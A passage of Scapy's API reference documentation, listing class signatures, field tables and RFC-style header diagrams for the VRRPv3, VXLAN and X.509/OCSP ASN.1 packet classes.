	IntField

	0



	auth2

	IntField

	0











	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/vrrp.py#L39-L43]

	








	
class scapy.layers.vrrp.VRRPv3(_pkt, /, *, version=3, type=1, vrid=1, priority=100, ipcount=None, res=0, adv=100, chksum=None, addrlist=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/vrrp.py#L55-L97]

	Bases: Packet


	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/vrrp.py#L91-L97]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|VERSION|  TYPE |      VRID     |    PRIORITY   |    IPCOUNT    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  RES  |          ADV          |             CHKSUM            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ADDRLIST           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. VRRPv3                            


VRRPv3 fields






	version

	BitField  (4 bits)

	3



	type

	BitField  (4 bits)

	1



	vrid

	ByteField

	1



	priority

	ByteField

	100



	ipcount

	FieldLenField

	None



	res

	BitField  (4 bits)

	0



	adv

	BitField  (12 bits)

	100



	chksum

	XShortField

	None



	addrlist

	MultipleTypeField (FieldListField, FieldListField, StrField)

	b''











	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/vrrp.py#L78-L89]

	










            

          

      

      

    

  

    
      
          
            
  
scapy.layers.vxlan

Virtual eXtensible Local Area Network (VXLAN)
- RFC 7348 -

A Framework for Overlaying Virtualized Layer 2 Networks over Layer 3 Networks
http://tools.ietf.org/html/rfc7348
https://www.ietf.org/id/draft-ietf-nvo3-vxlan-gpe-02.txt

VXLAN Group Policy Option:
http://tools.ietf.org/html/draft-smith-vxlan-group-policy-00


	
class scapy.layers.vxlan.VXLAN(_pkt, /, *, flags=<Flag 8 (Instance)>, reserved0=0, NextProtocol=0, reserved1=0, gpflags=<Flag 0 ()>, gpid=0, vni=0, reserved2=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/vxlan.py#L28-L73]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     FLAGS     |           RESERVED0           |  NEXTPROTOCOL |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           RESERVED1                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    GPFLAGS    |              GPID             |      VNI      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |   RESERVED2   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. VXLAN                            


VXLAN fields






	flags

	FlagsField

	<Flag 8 (Instance)>



	reserved0

	ShortField (Cond)

	0



	NextProtocol

	ByteEnumField (Cond)

	0



	reserved1

	ThreeBytesField (Cond)

	0



	gpflags

	FlagsField (Cond)

	<Flag 0 ()>



	gpid

	ShortField (Cond)

	0



	vni

	X3BytesField

	0



	reserved2

	XByteField

	0











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/vxlan.py#L69-L73]

	




	
payload_guess

	Possible sublayers:
NSH, IP, IPv6, Ether












            

          

      

      

    

  

    
      
          
            
  
scapy.layers.x509

X.509 certificates.


	
class scapy.layers.x509.ASN1F_EXT_SEQUENCE(**kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L703-L740]

	Bases: ASN1F_SEQUENCE


	
dissect(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L715-L740]

	








	
class scapy.layers.x509.ASN1F_OCSP_BasicResponse(**kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L1176-L1196]

	Bases: ASN1F_SEQUENCE






	
class scapy.layers.x509.ASN1F_X509_CRL(**kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L1052-L1069]

	Bases: ASN1F_SEQUENCE






	
class scapy.layers.x509.ASN1F_X509_Cert(**kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L969-L986]

	Bases: ASN1F_SEQUENCE






	
class scapy.layers.x509.ASN1F_X509_DirectoryString(name, default, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L171-L178]

	Bases: ASN1F_CHOICE






	
class scapy.layers.x509.ASN1F_X509_SubjectPublicKeyInfo(**kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L767-L784]

	Bases: ASN1F_SEQUENCE






	
class scapy.layers.x509.ASN1P_INTEGER(_pkt, /, *, number=0x0 <ASN1_INTEGER[0]>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L38-L40]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <scapy.asn1fields.ASN1F_INTEGER object>

	




	
aliastypes

	




	
fields_desc

	
ASN1P_INTEGER fields






	number

	ASN1F_INTEGER

	0x0 <ASN1_INTEGER[0]>















	
class scapy.layers.x509.ASN1P_OID(_pkt, /, *, oid=<ASN1_OID['.0']>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L33-L35]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <scapy.asn1fields.ASN1F_OID object>

	




	
aliastypes

	




	
fields_desc

	
ASN1P_OID fields






	oid

	ASN1F_OID

	<ASN1_OID['.0']>















	
class scapy.layers.x509.ASN1P_PRIVSEQ(_pkt, /, *, str=<ASN1_IA5_STRING['']>, int=<ASN1_STRING[0]>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L43-L51]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_IA5_STRING object>, <scapy.asn1fields.ASN1F_STRING object>)>

	




	
aliastypes

	




	
fields_desc

	
ASN1P_PRIVSEQ fields






	str

	ASN1F_IA5_STRING

	<ASN1_IA5_STRING['']>



	int

	ASN1F_STRING

	<ASN1_STRING[0]>















	
class scapy.layers.x509.ECCurve(_pkt, /, *, a=<ASN1_STRING['']>, b=<ASN1_STRING['']>, seed=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L108-L114]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_STRING object>, <scapy.asn1fields.ASN1F_STRING object>, <scapy.asn1fields.ASN1F_optional object>)>

	




	
aliastypes

	




	
fields_desc

	
ECCurve fields






	a

	ASN1F_STRING

	<ASN1_STRING['']>



	b

	ASN1F_STRING

	<ASN1_STRING['']>



	seed

	ASN1F_BIT_STRING

	None















	
class scapy.layers.x509.ECDSAPrivateKey(_pkt, /, *, version=0x1 <ASN1_INTEGER[1]>, privateKey=<ASN1_STRING['']>, parameters=None, publicKey=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L142-L153]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_enum_INTEGER object>, <scapy.asn1fields.ASN1F_STRING object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>)>

	




	
aliastypes

	




	
fields_desc

	
ECDSAPrivateKey fields






	version

	ASN1F_enum_INTEGER

	0x1 <ASN1_INTEGER[1]>



	privateKey

	ASN1F_STRING

	<ASN1_STRING['']>



	parameters

	ASN1F_PACKET

	None



	publicKey

	ASN1F_PACKET

	None















	
class scapy.layers.x509.ECDSAPrivateKey_OpenSSL(_pkt, /, *, ecparam=<ECParameters  |>, privateKey=<ECDSAPrivateKey  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L833-L840]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ECPARAM            |           PRIVATEKEY          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. ECDSAPrivateKey_OpenSSL                   


ECDSAPrivateKey_OpenSSL fields






	ecparam

	_PacketFieldRaw

	<ECParameters  |>



	privateKey

	PacketField

	<ECDSAPrivateKey  |>















	
class scapy.layers.x509.ECDSAPublicKey(_pkt, /, *, ecPoint=<ASN1_BIT_STRING[]=b'' (0 unused bit)>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L137-L139]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <scapy.asn1fields.ASN1F_BIT_STRING object>

	




	
aliastypes

	




	
fields_desc

	
ECDSAPublicKey fields






	ecPoint

	ASN1F_BIT_STRING

	<ASN1_BIT_STRING[]=b'' (0 unused bit)>















	
class scapy.layers.x509.ECDSASignature(_pkt, /, *, r=0x0 <ASN1_INTEGER[0]>, s=0x0 <ASN1_INTEGER[0]>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L156-L160]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_INTEGER object>, <scapy.asn1fields.ASN1F_INTEGER object>)>

	




	
aliastypes

	




	
fields_desc

	
ECDSASignature fields






	r

	ASN1F_INTEGER

	0x0 <ASN1_INTEGER[0]>



	s

	ASN1F_INTEGER

	0x0 <ASN1_INTEGER[0]>















	
class scapy.layers.x509.ECFieldID(_pkt, /, *, fieldType=<ASN1_OID['prime-field']>, prime=0x0 <ASN1_INTEGER[0]>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L100-L105]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_OID object>, <scapy.asn1fields.ASN1F_INTEGER object>)>

	




	
aliastypes

	




	
fields_desc

	
ECFieldID fields






	fieldType

	ASN1F_OID

	<ASN1_OID['prime-field']>



	prime

	ASN1F_INTEGER

	0x0 <ASN1_INTEGER[0]>















	
class scapy.layers.x509.ECParameters(_pkt, /, *, curve=<ASN1_OID['ansip384r1']>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L129-L134]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <scapy.asn1fields.ASN1F_CHOICE object>

	




	
aliastypes

	




	
fields_desc

	
ECParameters fields






	curve

	ASN1F_CHOICE

	<ASN1_OID['ansip384r1']>















	
class scapy.layers.x509.ECSpecifiedDomain(_pkt, /, *, version=0x1 <ASN1_INTEGER[1]>, fieldID=<ECFieldID  |>, curve=<ECCurve  |>, base=<ASN1_STRING['']>, order=0x0 <ASN1_INTEGER[0]>, cofactor=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L117-L126]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_enum_INTEGER object>, <scapy.asn1fields.ASN1F_PACKET object>, <scapy.asn1fields.ASN1F_PACKET object>, <scapy.asn1fields.ASN1F_STRING object>, <scapy.asn1fields.ASN1F_INTEGER object>, <scapy.asn1fields.ASN1F_optional object>)>

	




	
aliastypes

	




	
fields_desc

	
ECSpecifiedDomain fields






	version

	ASN1F_enum_INTEGER

	0x1 <ASN1_INTEGER[1]>



	fieldID

	ASN1F_PACKET

	<ECFieldID  |>



	curve

	ASN1F_PACKET

	<ECCurve  |>



	base

	ASN1F_STRING

	<ASN1_STRING['']>



	order

	ASN1F_INTEGER

	0x0 <ASN1_INTEGER[0]>



	cofactor

	ASN1F_INTEGER

	None















	
class scapy.layers.x509.OCSP_ByKey(_pkt, /, *, byKey=<ASN1_STRING['']>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L1145-L1147]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <scapy.asn1fields.ASN1F_STRING object>

	




	
aliastypes

	




	
fields_desc

	
OCSP_ByKey fields






	byKey

	ASN1F_STRING

	<ASN1_STRING['']>















	
class scapy.layers.x509.OCSP_ByName(_pkt, /, *, byName=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L1140-L1142]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE_OF byName>

	




	
aliastypes

	




	
fields_desc

	
OCSP_ByName fields






	byName

	ASN1F_SEQUENCE_OF

	[]















	
class scapy.layers.x509.OCSP_CertID(_pkt, /, *, hashAlgorithm=<X509_AlgorithmIdentifier  |>, issuerNameHash=<ASN1_STRING['']>, issuerKeyHash=<ASN1_STRING['']>, serialNumber=0x0 <ASN1_INTEGER[0]>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L1082-L1090]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_PACKET object>, <scapy.asn1fields.ASN1F_STRING object>, <scapy.asn1fields.ASN1F_STRING object>, <scapy.asn1fields.ASN1F_INTEGER object>)>

	




	
aliastypes

	




	
fields_desc

	
OCSP_CertID fields






	hashAlgorithm

	ASN1F_PACKET

	<X509_AlgorithmIdentifier  |>



	issuerNameHash

	ASN1F_STRING

	<ASN1_STRING['']>



	issuerKeyHash

	ASN1F_STRING

	<ASN1_STRING['']>



	serialNumber

	ASN1F_INTEGER

	0x0 <ASN1_INTEGER[0]>















	
class scapy.layers.x509.OCSP_CertStatus(_pkt, /, *, certStatus=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L1113-L1121]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <scapy.asn1fields.ASN1F_CHOICE object>

	




	
aliastypes

	




	
fields_desc

	
OCSP_CertStatus fields






	certStatus

	ASN1F_CHOICE

	None















	
class scapy.layers.x509.OCSP_GoodInfo(_pkt, /, *, info=<ASN1_NULL[0]>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L1093-L1095]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <scapy.asn1fields.ASN1F_NULL object>

	




	
aliastypes

	




	
fields_desc

	
OCSP_GoodInfo fields






	info

	ASN1F_NULL

	<ASN1_NULL[0]>















	
class scapy.layers.x509.OCSP_ResponderID(_pkt, /, *, responderID=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L1150-L1156]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <scapy.asn1fields.ASN1F_CHOICE object>

	




	
aliastypes

	




	
fields_desc

	
OCSP_ResponderID fields






	responderID

	ASN1F_CHOICE

	None















	
class scapy.layers.x509.OCSP_Response(_pkt, /, *, responseStatus=0x0 <ASN1_ENUMERATED[0]>, responseBytes=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L1215-L1223]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_ENUMERATED object>, <scapy.asn1fields.ASN1F_optional object>)>

	




	
aliastypes

	




	
fields_desc

	
OCSP_Response fields






	responseStatus

	ASN1F_ENUMERATED

	0x0 <ASN1_ENUMERATED[0]>



	responseBytes

	ASN1F_PACKET

	None















	
class scapy.layers.x509.OCSP_ResponseBytes(_pkt, /, *, responseType=<ASN1_OID['basic-response']>, tbsResponseData=<OCSP_ResponseData  responderID=<OCSP_ResponderID  responderID=<OCSP_ByName  |> |> |>, signatureAlgorithm=<X509_AlgorithmIdentifier  |>, signature=None, certs=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L1199-L1203]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_OID object>, <ASN1F_OCSP_BasicResponse(<scapy.asn1fields.ASN1F_PACKET object>, <scapy.asn1fields.ASN1F_PACKET object>, <scapy.fields.MultipleTypeField object>, <scapy.asn1fields.ASN1F_optional object>)>)>

	




	
aliastypes

	




	
fields_desc

	
OCSP_ResponseBytes fields






	responseType

	ASN1F_OID

	<ASN1_OID['basic-response']>



	tbsResponseData

	ASN1F_PACKET

	<OCSP_ResponseData  responderID=<OCSP_ResponderID  responderID=<OCSP_ByName  |> |> |>



	signatureAlgorithm

	ASN1F_PACKET

	<X509_AlgorithmIdentifier  |>



	signature

	MultipleTypeField (ASN1F_BIT_STRING_ENCAPS, ASN1F_BIT_STRING)

	<ASN1_BIT_STRING[0110010001...1001100101]=b'defaultsig...tsignature' (0 unused bit)>



	certs

	ASN1F_SEQUENCE_OF

	None















	
class scapy.layers.x509.OCSP_ResponseData(_pkt, /, *, version=0x0 <ASN1_INTEGER[0]>, responderID=<OCSP_ResponderID  responderID=<OCSP_ByName  |> |>, producedAt=2024-04-14 13:04:53 UTC <ASN1_GENERALIZED_TIME['20240414130453Z']>, responses=[], responseExtensions=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L1159-L1173]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_PACKET object>, <scapy.asn1fields.ASN1F_GENERALIZED_TIME object>, <ASN1F_SEQUENCE_OF responses>, <scapy.asn1fields.ASN1F_optional object>)>

	




	
aliastypes

	




	
fields_desc

	
OCSP_ResponseData fields






	version

	ASN1F_enum_INTEGER

	0x0 <ASN1_INTEGER[0]>



	responderID

	ASN1F_PACKET

	<OCSP_ResponderID  responderID=<OCSP_ByName  |> |>



	producedAt

	ASN1F_GENERALIZED_TIME

	2024-04-14 13:04:53 UTC <ASN1_GENERALIZED_TIME['20240414130453Z']>



	responses

	ASN1F_SEQUENCE_OF

	[]



	responseExtensions

	ASN1F_SEQUENCE_OF

	None















	
class scapy.layers.x509.OCSP_RevokedInfo(_pkt, /, *, revocationTime= [invalid generalized time] <ASN1_GENERALIZED_TIME['']>, revocationReason=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L1098-L1105]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_GENERALIZED_TIME object>, <scapy.asn1fields.ASN1F_optional object>)>

	




	
aliastypes

	




	
fields_desc

	
OCSP_RevokedInfo fields






	revocationTime

	ASN1F_GENERALIZED_TIME

	`` [invalid generalized time] <ASN1_GENERALIZED_TIME[‘’]>``



	revocationReason

	ASN1F_PACKET

	None















	
class scapy.layers.x509.OCSP_SingleResponse(_pkt, /, *, certID=<OCSP_CertID  hashAlgorithm=<X509_AlgorithmIdentifier  |> |>, certStatus=<OCSP_CertStatus  certStatus=<OCSP_GoodInfo  |> |>, thisUpdate= [invalid generalized time] <ASN1_GENERALIZED_TIME['']>, nextUpdate= [invalid generalized time] <ASN1_GENERALIZED_TIME['']>, singleExtensions=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L1124-L1137]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_PACKET object>, <scapy.asn1fields.ASN1F_PACKET object>, <scapy.asn1fields.ASN1F_GENERALIZED_TIME object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>)>

	




	
aliastypes

	




	
fields_desc

	
OCSP_SingleResponse fields






	certID

	ASN1F_PACKET

	<OCSP_CertID  hashAlgorithm=<X509_AlgorithmIdentifier  |> |>



	certStatus

	ASN1F_PACKET

	<OCSP_CertStatus  certStatus=<OCSP_GoodInfo  |> |>



	thisUpdate

	ASN1F_GENERALIZED_TIME

	`` [invalid generalized time] <ASN1_GENERALIZED_TIME[‘’]>``



	nextUpdate

	ASN1F_GENERALIZED_TIME

	`` [invalid generalized time] <ASN1_GENERALIZED_TIME[‘’]>``



	singleExtensions

	ASN1F_SEQUENCE_OF

	None















	
class scapy.layers.x509.OCSP_UnknownInfo(_pkt, /, *, info=<ASN1_NULL[0]>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L1108-L1110]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <scapy.asn1fields.ASN1F_NULL object>

	




	
aliastypes

	




	
fields_desc

	
OCSP_UnknownInfo fields






	info

	ASN1F_NULL

	<ASN1_NULL[0]>















	
class scapy.layers.x509.RSAOtherPrimeInfo(_pkt, /, *, prime=0x0 <ASN1_INTEGER[0]>, exponent=0x0 <ASN1_INTEGER[0]>, coefficient=0x0 <ASN1_INTEGER[0]>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L70-L75]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_INTEGER object>, <scapy.asn1fields.ASN1F_INTEGER object>, <scapy.asn1fields.ASN1F_INTEGER object>)>

	




	
aliastypes

	




	
fields_desc

	
RSAOtherPrimeInfo fields






	prime

	ASN1F_INTEGER

	0x0 <ASN1_INTEGER[0]>



	exponent

	ASN1F_INTEGER

	0x0 <ASN1_INTEGER[0]>



	coefficient

	ASN1F_INTEGER

	0x0 <ASN1_INTEGER[0]>















	
class scapy.layers.x509.RSAPrivateKey(_pkt, /, *, version=0x0 <ASN1_INTEGER[0]>, modulus=0xa <ASN1_INTEGER[10]>, publicExponent=0x3 <ASN1_INTEGER[3]>, privateExponent=0x3 <ASN1_INTEGER[3]>, prime1=0x2 <ASN1_INTEGER[2]>, prime2=0x5 <ASN1_INTEGER[5]>, exponent1=0x0 <ASN1_INTEGER[0]>, exponent2=0x3 <ASN1_INTEGER[3]>, coefficient=0x1 <ASN1_INTEGER[1]>, otherPrimeInfos=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L78-L92]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_enum_INTEGER object>, <scapy.asn1fields.ASN1F_INTEGER object>, <scapy.asn1fields.ASN1F_INTEGER object>, <scapy.asn1fields.ASN1F_INTEGER object>, <scapy.asn1fields.ASN1F_INTEGER object>, <scapy.asn1fields.ASN1F_INTEGER object>, <scapy.asn1fields.ASN1F_INTEGER object>, <scapy.asn1fields.ASN1F_INTEGER object>, <scapy.asn1fields.ASN1F_INTEGER object>, <scapy.asn1fields.ASN1F_optional object>)>

	




	
aliastypes

	




	
fields_desc

	
RSAPrivateKey fields






	version

	ASN1F_enum_INTEGER

	0x0 <ASN1_INTEGER[0]>



	modulus

	ASN1F_INTEGER

	0xa <ASN1_INTEGER[10]>



	publicExponent

	ASN1F_INTEGER

	0x3 <ASN1_INTEGER[3]>



	privateExponent

	ASN1F_INTEGER

	0x3 <ASN1_INTEGER[3]>



	prime1

	ASN1F_INTEGER

	0x2 <ASN1_INTEGER[2]>



	prime2

	ASN1F_INTEGER

	0x5 <ASN1_INTEGER[5]>



	exponent1

	ASN1F_INTEGER

	0x0 <ASN1_INTEGER[0]>



	exponent2

	ASN1F_INTEGER

	0x3 <ASN1_INTEGER[3]>



	coefficient

	ASN1F_INTEGER

	0x1 <ASN1_INTEGER[1]>



	otherPrimeInfos

	ASN1F_SEQUENCE_OF

	None















	
class scapy.layers.x509.RSAPrivateKey_OpenSSL(_pkt, /, *, version=0x0 <ASN1_INTEGER[0]>, privateKeyAlgorithm=<X509_AlgorithmIdentifier  |>, privateKey=<RSAPrivateKey  |>, parameters=None, publicKey=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L798-L815]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_enum_INTEGER object>, <scapy.asn1fields.ASN1F_PACKET object>, <scapy.asn1fields.ASN1F_PACKET object>, <scapy.asn1fields.ASN1F_optional object>, <scapy.asn1fields.ASN1F_optional object>)>

	




	
aliastypes

	




	
fields_desc

	
RSAPrivateKey_OpenSSL fields






	version

	ASN1F_enum_INTEGER

	0x0 <ASN1_INTEGER[0]>



	privateKeyAlgorithm

	ASN1F_PACKET

	<X509_AlgorithmIdentifier  |>



	privateKey

	ASN1F_PACKET

	<RSAPrivateKey  |>



	parameters

	ASN1F_PACKET

	None



	publicKey

	ASN1F_PACKET

	None















	
class scapy.layers.x509.RSAPublicKey(_pkt, /, *, modulus=0xa <ASN1_INTEGER[10]>, publicExponent=0x3 <ASN1_INTEGER[3]>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L63-L67]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_INTEGER object>, <scapy.asn1fields.ASN1F_INTEGER object>)>

	




	
aliastypes

	




	
fields_desc

	
RSAPublicKey fields






	modulus

	ASN1F_INTEGER

	0xa <ASN1_INTEGER[10]>



	publicExponent

	ASN1F_INTEGER

	0x3 <ASN1_INTEGER[3]>















	
class scapy.layers.x509.X509_AccessDescription(_pkt, /, *, accessMethod=<ASN1_OID['.0']>, accessLocation=<X509_GeneralName  generalName=<X509_DirectoryName  directoryName=[<X509_RDN  rdn=[<X509_AttributeTypeAndValue  |>] |>, <X509_RDN  rdn=[<X509_AttributeTypeAndValue  type=<ASN1_OID['organizationName']> value=<ASN1_PRINTABLE_STRING['Scapy, Inc.']> |>] |>, <X509_RDN  rdn=[<X509_AttributeTypeAndValue  type=<ASN1_OID['commonName']> value=<ASN1_PRINTABLE_STRING['Scapy Default Name']> |>] |>] |> |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L615-L620]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_OID object>, <scapy.asn1fields.ASN1F_PACKET object>)>

	




	
aliastypes

	




	
fields_desc

	
X509_AccessDescription fields






	accessMethod

	ASN1F_OID

	<ASN1_OID['.0']>



	accessLocation

	ASN1F_PACKET

	<X509_GeneralName  generalName=<X509_DirectoryName  directoryName=[<X509_RDN  rdn=[<X509_AttributeTypeAndValue  |>] |>, <X509_RDN  rdn=[<X509_AttributeTypeAndValue  type=<ASN1_OID['organizationName']> value=<ASN1_PRINTABLE_STRING['Scapy, Inc.']> |>] |>, <X509_RDN  rdn=[<X509_AttributeTypeAndValue  type=<ASN1_OID['commonName']> value=<ASN1_PRINTABLE_STRING['Scapy Default Name']> |>] |>] |> |>















	
class scapy.layers.x509.X509_AlgorithmIdentifier(_pkt, /, *, algorithm=<ASN1_OID['sha256WithRSAEncryption']>, parameters=<ASN1_NULL[0]>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L758-L764]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_OID object>, <scapy.asn1fields.ASN1F_optional object>)>

	




	
aliastypes

	




	
fields_desc

	
X509_AlgorithmIdentifier fields






	algorithm

	ASN1F_OID

	<ASN1_OID['sha256WithRSAEncryption']>



	parameters

	ASN1F_CHOICE

	<ASN1_NULL[0]>















	
class scapy.layers.x509.X509_Attribute(_pkt, /, *, type=<ASN1_OID['countryName']>, values=[<X509_AttributeValue  |>])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/x509.py#L189-L195]

	Bases: ASN1_Packet


	
ASN1_codec = <ASN1Codec BER[1]>

	




	
ASN1_root = <ASN1F_SEQUENCE(<scapy.asn1fields.ASN1F_OID object>, <ASN1F_SET_OF values>)>

